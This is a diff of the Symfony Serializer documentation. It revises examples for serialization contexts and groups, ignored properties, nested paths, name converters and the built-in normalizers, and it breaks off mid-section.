+        // src/Model/Person.php
 
-        use Symfony\Component\Serializer\Attribute\SerializedPath;
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
         class Person
         {
-            #[SerializedPath('[profile][information][birthday]')]
-            private string $birthday;
+            #[Context(
+                normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
+                denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+            )]
+            public \DateTimeImmutable $createdAt;
 
             // ...
         }
 
     .. code-block:: yaml
 
+        # config/serializer/person.yaml
         App\Model\Person:
             attributes:
-                dob:
-                    serialized_path: '[profile][information][birthday]'
+                createdAt:
+                    contexts:
+                        - normalizationContext: { datetime_format: 'Y-m-d' }
+                          denormalizationContext: { datetime_format: !php/const \DateTime::RFC3339 }
 
     .. code-block:: xml
 
+        <!-- config/serializer/person.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -442,81 +531,959 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
                 https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
         >
             <class name="App\Model\Person">
-                <attribute name="dob" serialized-path="[profile][information][birthday]"/>
+                <attribute name="createdAt">
+                    <normalization-context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </normalization-context>
+
+                    <denormalization-context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </denormalization-context>
+                </attribute>
             </class>
         </serializer>
 
-.. versionadded:: 6.2
-
-    The option to configure a ``SerializedPath`` was introduced in Symfony 6.2.
-
-Using the configuration from above, denormalizing with a metadata-aware
-normalizer will write the ``birthday`` field from ``$data`` onto the ``Person``
-object::
+.. _serializer-context-group:
 
-    $data = [
-        'profile' => [
-            'information' => [
-                'birthday' => '01-01-1970',
-            ],
-        ],
-    ];
-    $person = $normalizer->denormalize($data, Person::class, 'any');
-    $person->getBirthday(); // 01-01-1970
+You can also restrict the usage of a context to some
+:ref:`groups <serializer-groups-attribute>`:
 
-When using attributes, the ``SerializedPath`` can either
-be set on the property or the associated _getter_ method. The ``SerializedPath``
-cannot be used in combination with a ``SerializedName`` for the same property.
-
-Configuring the Metadata Cache
-------------------------------
+.. configuration-block::
 
-The metadata for the serializer is automatically cached to enhance application
-performance. By default, the serializer uses the ``cache.system`` cache pool
-which is configured using the :ref:`cache.system <reference-cache-system>`
-option.
+    .. code-block:: php-attributes
 
-Enabling a Name Converter
--------------------------
+        // src/Model/Person.php
 
-The use of a :ref:`name converter <component-serializer-converting-property-names-when-serializing-and-deserializing>`
-service can be defined in the configuration using the :ref:`name_converter <reference-serializer-name_converter>`
-option.
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Attribute\Groups;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-The built-in :ref:`CamelCase to snake_case name converter <using-camelized-method-names-for-underscored-attributes>`
-can be enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
-value:
+        class Person
+        {
+            #[Groups(['extended'])]
+            #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+            #[Context(
+                context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+                groups: ['extended'],
+            )]
+            public \DateTimeImmutable $createdAt;
 
-.. configuration-block::
+            // ...
+        }
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    groups: [extended]
+                    contexts:
+                        - context: { datetime_format: !php/const \DateTime::RFC3339 }
+                        - context: { datetime_format: !php/const \DateTime::RFC3339_EXTENDED }
+                          groups: [extended]
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer name-converter="serializer.name_converter.camel_case_to_snake_case"/>
-        </framework:config>
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <group>extended</group>
 
-    .. code-block:: php
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </context>
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:s.vP</entry>
+                        <group>extended</group>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+The attribute can be repeated as much as needed on a single property.
+Context without group is always applied first. Then context for the
+matching groups are merged in the provided order.
+
+If you repeat the same context in multiple properties, consider using the
+``#[Context]`` attribute on your class to apply that context configuration to
+all the properties of the class::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Attribute\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+    #[Context(
+        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+        groups: ['extended'],
+    )]
+    class Person
+    {
+        // ...
+    }
+
+Serializing to or from PHP Arrays
+---------------------------------
+
+The default :class:`Symfony\\Component\\Serializer\\Serializer` can also be
+used to only perform one step of the :ref:`two step serialization process <serializer-process>`
+by using the respective interface:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\Serializer\Encoder\DecoderInterface;
+        use Symfony\Component\Serializer\Encoder\EncoderInterface;
+        use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+        use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+        // ...
+
+        class PersonController extends AbstractController
+        {
+            public function index(DenormalizerInterface&NormalizerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
+
+                // use normalize() to convert a PHP object to an array
+                $personArray = $serializer->normalize($person, 'json');
+
+                // ...and denormalize() to convert an array back to a PHP object
+                $personCopy = $serializer->denormalize($personArray, Person::class);
+
+                // ...
+            }
+
+            public function json(DecoderInterface&EncoderInterface $serializer): Response
+            {
+                $data = ['name' => 'Jane Doe'];
+
+                // use encode() to transform PHP arrays into another format
+                $json = $serializer->encode($data, 'json');
+
+                // ...and decode() to transform any format to just PHP arrays (instead of objects)
+                $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+                // $data contains ['name' => 'Charlie Doe']
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
+
+        // use normalize() to convert a PHP object to an array
+        $personArray = $serializer->normalize($person, 'json');
+
+        // ...and denormalize() to convert an array back to a PHP object
+        $personCopy = $serializer->denormalize($personArray, Person::class);
+
+        $data = ['name' => 'Jane Doe'];
+
+        // use encode() to transform PHP arrays into another format
+        $json = $serializer->encode($data, 'json');
+
+        // ...and decode() to transform any format to just PHP arrays (instead of objects)
+        $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+        // $data contains ['name' => 'Charlie Doe']
+
+.. _serializer_ignoring-attributes:
+
+Ignoring Properties
+-------------------
+
+The ``ObjectNormalizer`` normalizes *all* properties of an object and all
+methods starting with ``get*()``, ``has*()``, ``is*()`` and ``can*()``.
+Some properties or methods should never be serialized. You can exclude
+them using the ``#[Ignore]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Ignore;
+
+        class Person
+        {
+            // ...
+
+            #[Ignore]
+            public function isPotentiallySpamUser(): bool
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                potentiallySpamUser:
+                    ignore: true
+
+    .. code-block:: xml
+
+        <?xml version="1.0" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="potentiallySpamUser" ignore="true"/>
+            </class>
+        </serializer>
+
+The ``potentiallySpamUser`` property will now never be serialized:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use App\Model\Person;
+
+        // ...
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // you need to pass a class metadata factory with a loader to the
+        // ObjectNormalizer when reading mapping information like Ignore or Groups.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $normalizers = [new ObjectNormalizer($classMetadataFactory)];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+Ignoring Attributes Using the Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can also pass an array of attribute names to ignore at runtime using
+the ``ignored_attributes`` context options::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 32, false);
+    $json = $serializer->serialize($person, 'json',
+    [
+        AbstractNormalizer::IGNORED_ATTRIBUTES => ['age'],
+    ]);
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+However, this can quickly become unmaintainable if used excessively. See
+the next section about *serialization groups* for a better solution.
+
+.. _serializer-groups-attribute:
+
+Selecting Specific Properties
+-----------------------------
+
+Instead of excluding a property or method in all situations, you might need
+to exclude some properties in one place, but serialize them in another.
+Groups are a handy way to achieve this.
+
+You can add the ``#[Groups]`` attribute to your class:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Groups;
+
+        class Person
+        {
+            #[Groups(["admin-view"])]
+            private int $age;
+
+            #[Groups(["public-view"])]
+            private string $name;
+
+            #[Groups(["public-view"])]
+            private bool $sportsperson;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                age:
+                    groups: ['admin-view']
+                name:
+                    groups: ['public-view']
+                sportsperson:
+                    groups: ['public-view']
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="age">
+                    <group>admin-view</group>
+                </attribute>
+                <attribute name="name">
+                    <group>public-view</group>
+                </attribute>
+                <attribute name="sportsperson">
+                    <group>public-view</group>
+                </attribute>
+            </class>
+        </serializer>
+
+You can now choose which groups to use when serializing::
+
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => 'public-view']
+    );
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+    // you can also pass an array of groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => ['public-view', 'admin-view']]
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+    // or use the special "*" value to select all groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => '*']
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+Using the Serialization Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+At last, you can also use the ``attributes`` context option to select
+properties at runtime::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $json = $serializer->serialize($person, 'json', [
+        AbstractNormalizer::ATTRIBUTES => ['name', 'company' => ['name']]
+    ]);
+    // $json contains {"name":"Dunglas","company":{"name":"Les-Tilleuls.coop"}}
+
+Only attributes that are :ref:`not ignored <serializer_ignoring-attributes>`
+are available. If serialization groups are set, only attributes allowed by
+those groups can be used.
+
+.. _serializer-handling-arrays:
+
+Handling Arrays
+---------------
+
+The serializer is capable of handling arrays of objects. Serializing arrays
+works just like serializing a single object::
+
+    use App\Model\Person;
+
+    // ...
+    $person1 = new Person('Jane Doe', 39, false);
+    $person2 = new Person('John Smith', 52, true);
+
+    $persons = [$person1, $person2];
+    $JsonContent = $serializer->serialize($persons, 'json');
+
+    // $jsonContent contains [{"name":"Jane Doe","age":39,"sportsman":false},{"name":"John Smith","age":52,"sportsman":true}]
+
+To deserialize a list of objects, you have to append ``[]`` to the type
+parameter::
+
+    // ...
+
+    $jsonData = ...; // the serialized JSON data from the previous example
+    $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json');
+
+For nested classes, you have to add a PHPDoc type to the property/setter::
+
+    // src/Model/UserGroup.php
+    namespace App\Model;
+
+    class UserGroup
+    {
+        private array $members;
+
+        // ...
+
+        /**
+         * @param Person[] $members
+         */
+        public function setMembers(array $members): void
+        {
+            $this->members = $members;
+        }
+    }
+
+.. tip::
+
+    The Serializer also supports array types used in static analysis, like
+    ``list<Person>`` and ``array<Person>``. Make sure the
+    ``phpstan/phpdoc-parser`` and ``phpdocumentor/reflection-docblock``
+    packages are installed (these are part of the ``symfony/serializer-pack``).
+
+.. _serializer-nested-structures:
+
+Deserializing Nested Structures
+-------------------------------
+
+.. versionadded:: 6.2
+
+    The option to configure a ``SerializedPath`` was introduced in Symfony 6.2.
+
+Some APIs might provide verbose nested structures that you want to flatten
+in the PHP object. For instance, imagine a JSON response like this:
+
+.. code-block:: json
+
+    {
+        "id": "123",
+        "profile": {
+            "username": "jdoe",
+            "personal_information": {
+                "full_name": "Jane Doe"
+            }
+        }
+    }
+
+You may wish to serialize this information to a single PHP object like::
+
+    class Person
+    {
+        private int $id;
+        private string $username;
+        private string $fullName;
+    }
+
+Use the ``#[SerializedPath]`` to specify the path of the nested property
+using :doc:`valid PropertyAccess syntax </components/property_access>`:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedPath;
+
+        class Person
+        {
+            private int $id;
+
+            #[SerializedPath('[profile][username]')]
+            private string $username;
+
+            #[SerializedPath('[profile][personal_information][full_name]')]
+            private string $fullName;
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                username:
+                    serialized_path: '[profile][username]'
+                fullName:
+                    serialized_path: '[profile][personal_information][full_name]'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="username" serialized-path="[profile][username]"/>
+                <attribute name="fullName" serialized-path="[profile][personal_information][full_name]"/>
+            </class>
+        </serializer>
+
+.. caution::
+
+    The ``SerializedPath`` cannot be used in combination with a
+    ``SerializedName`` for the same property.
+
+The ``#[SerializedPath]`` attribute also applies to the serialization of a
+PHP object::
+
+    use App\Model\Person;
+    // ...
+
+    $person = new Person(123, 'jdoe', 'Jane Doe');
+    $jsonContent = $serializer->serialize($person, 'json');
+    // $jsonContent contains {"id":123,"profile":{"username":"jdoe","personal_information":{"full_name":"Jane Doe"}}}
+
+.. _serializer-name-conversion:
+
+Converting Property Names when Serializing and Deserializing
+------------------------------------------------------------
+
+Sometimes serialized attributes must be named differently than properties
+or getter/setter methods of PHP classes. This can be achieved using name
+converters.
+
+The serializer service uses the
+:class:`Symfony\\Component\\Serializer\\NameConverter\\MetadataAwareNameConverter`.
+With this name converter, you can change the name of an attribute using
+the ``#[SerializedName]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private string $name;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Entity\Person:
+            attributes:
+                name:
+                    serialized_name: customer_name
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Entity\Person">
+                <attribute name="name" serialized-name="customer_name"/>
+            </class>
+        </serializer>
+
+This custom mapping is used to convert property names when serializing and
+deserializing objects:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // ...
+
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like SerializedName.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $nameConverter = new MetadataAwareNameConverter($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, $nameConverter),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+.. seealso::
+
+    You can also create a custom name converter class. Read more about this
+    in :doc:`/serializer/custom_name_converter`.
+
+.. _using-camelized-method-names-for-underscored-attributes:
+
+CamelCase to snake_case
+~~~~~~~~~~~~~~~~~~~~~~~
+
+In many formats, it's common to use underscores to separate words (also known
+as snake_case). However, in Symfony applications is common to use camelCase to
+name properties.
+
+Symfony provides a built-in name converter designed to transform between
+snake_case and CamelCased styles during serialization and deserialization
+processes. You can use it instead of the metadata aware name converter by
+setting the ``name_converter`` setting to
+``serializer.name_converter.camel_case_to_snake_case``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer
+                    name-converter="serializer.name_converter.camel_case_to_snake_case"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->nameConverter('serializer.name_converter.camel_case_to_snake_case')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
+.. _serializer-built-in-normalizers:
+
+Serializer Normalizers
+----------------------
+
+By default, the serializer service is configured with the following
+normalizers (in order of priority):
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+    Can be used to only denormalize a part of the input, read more about
+    this :ref:`later in this article <serializer-unwrapping-denormalizer>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
+    Normalizes :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
+    errors according to the API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
+    Normalizes objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`.
+
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
+    This normalizes between :phpclass:`DateTimeInterface` objects (e.g.
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) and strings.
+
+    By default, the `RFC 3339`_ format is used when normalizing the value.
+    Use ``DateTimeNormalizer::FORMAT_KEY`` and ``DateTimeNormalizer::TIMEZONE_KEY``
+    to change the format.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
+    This normalizer converts objects that implement
+    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
+    into a list of errors according to the `RFC 7807`_ standard.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
+    This normalizer converts between :phpclass:`DateTimeZone` objects and strings that
+    represent the name of the timezone according to the `list of PHP timezones`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
+    This normalizes between :phpclass:`DateInterval` objects and strings.
+    By default, the ``P%yY%mM%dDT%hH%iM%sS`` format is used. Use the
+    ``DateIntervalNormalizer::FORMAT_KEY`` option to change this.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
+    This normalizer works with classes that implement
+    :class:`Symfony\\Component\\Form\\FormInterface`.
+
+    It will get errors from the form and normalize them according to the
+    API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+    This normalizer converts objects implementing :class:`Symfony\\Contracts\\Translation\\TranslatableInterface`
+    to a translated string using the :doc:`translator </translation>`.
+
+    You can define the locale to use to translate the object by setting the
+    ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` context option.
+
+    .. versionadded:: 6.4
+
+        The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
+        The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+        was introduced in Symfony 6.4.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    This normalizer converts between :phpclass:`BackedEnum` enums and
+    strings or integers.
+
+    By default, an exception is thrown when data is not a valid backed enumeration. If you
+    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
+
+    .. versionadded:: 6.3
+
+        The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
+    This normalizer converts between :phpclass:`SplFileInfo` objects and a
+    `data URI`_ string (``data:...``) such that files can be embedded into
+    serialized data.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
+    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
+
+    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
+    then further normalize the result. This means that nested
+    :phpclass:`JsonSerializable` classes will also be normalized.
+
+    This normalizer is particularly helpful when you want to gradually migrate
+    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
+    Serializer by allowing you to mix which normalizers are used for which classes.
+
+    Unlike with :phpfunction:`json_encode` circular references can be handled.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
+    This denormalizer converts an array of arrays to an array of objects
+    (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
+    This is the most powerful default normalizer and used for any object
+    that could not be normalized by the other normalizers.
+
+    It leverages the :doc:`PropertyAccess Component </components/property_access>`
+    to read and write in the object. This allows it to access properties
+    directly or using getters, setters, hassers, issers, canners, adders and
+    removers. Names are generated by removing the ``get``, ``set``,
+    ``has``, ``is``, ``add`` or ``remove`` prefix from the method name and
+    transforming the first letter to lowercase (e.g. ``getFirstName()`` ->
+    ``firstName``).
+
+    During denormalization, it supports using the constructor as well as
+    the discovered methods.
+
+:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`
+
+.. danger::
+
+    Always make sure the ``DateTimeNormalizer`` is registered when
+    serializing the ``DateTime`` or ``DateTimeImmutable`` classes to avoid
+    excessive memory usage and exposing internal details.
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+Besides the normalizers registered by default (see previous section), the
+serializer component also provides some extra normalizers.You can register
+these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
+For instance, to use the ``CustomNormalizer`` you have to define a service
+like:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            # if you're using autoconfigure, the tag will be automatically applied
+            Symfony\Component\Serializer\Normalizer\CustomNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- if you're using autoconfigure, the tag will be automatically applied -->
+                <service id="Symfony\Component\Serializer\Normalizer\CustomNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(CustomNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
         };
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    This normalizer calls a method on the PHP object when normalizing. The
+    PHP object must implement :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+    and/or :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    This normalizer is an alternative to the default ``ObjectNormalizer``.
+    It reads the content of the class by calling the "getters" (public
+    methods starting with ``get``, ``has``, ``is`` or ``can``). It will
